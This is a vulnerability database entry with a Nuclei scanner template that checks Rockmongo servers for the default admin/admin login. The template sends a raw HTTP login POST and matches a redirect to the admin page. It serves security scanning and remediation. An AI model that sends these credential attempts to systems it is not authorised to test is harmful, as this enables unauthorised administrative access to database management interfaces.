SecurityContext

rockmongo-default-login: Rockmongo Default Login

Classification

  • Cwe: CWE-522
  • Cvss score: 8.3
  • Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
  • Not known: epss score, epss percentile, cpe

Metadata

  • Max-request: 1

Labels

  • Name: Rockmongo - Default Login
  • Impact: Attackers can gain unauthorized administrative access to Rockmongo, potentially leading to full control of the MongoDB management interface.
  • Remediation: Change the default admin credentials and update to the latest version.
  • Vulnerability type: hardcoded_credentials
  • Vulnerability impact: privilege_escalation
  • Requirement type: none
  • Labels source: securitycontext
  • Not known: requirements, from cve

```yaml

id: rockmongo-default-login

info:

name: Rockmongo Default Login

author: pikpikcu

severity: high

description: Rockmongo default admin credentials were discovered.

reference:

- https://serverfault.com/questions/331315/how-to-change-the-default-admin-username-and-admin-password-in-rockmongo

classification:

cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

cvss-score: 8.3

cwe-id: CWE-522

metadata:

max-request: 1

tags: rockmongo,default-login,vuln

http:

- raw:

- |

POST /index.php?action=login.index HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

Referer: {{Hostname}}/index.php?action=login.index

more=0&host=0&username={{username}}&password={{password}}&db=&lang=en_us&expire=3

payloads:

username:

- admin

password:

- admin

attack: pitchfork

matchers-condition: and

matchers:

- type: word

words:

- "Location: /index.php?action=admin.index&host=0"

- "Set-Cookie: ROCK_LANG="

part: header

- type: status

status:

- 302

digest: 4b0a00483046022100a54682fb35726575074f2e5bad8a9be49d9756ee89b8e32c91db341075b493c0022100b6e9c48f84b3e200b0e72bd8114414de83afbf7f2ea3b8fbfadf80a34cb9d50a:922c64590222798bb761d5b6d8e72950

```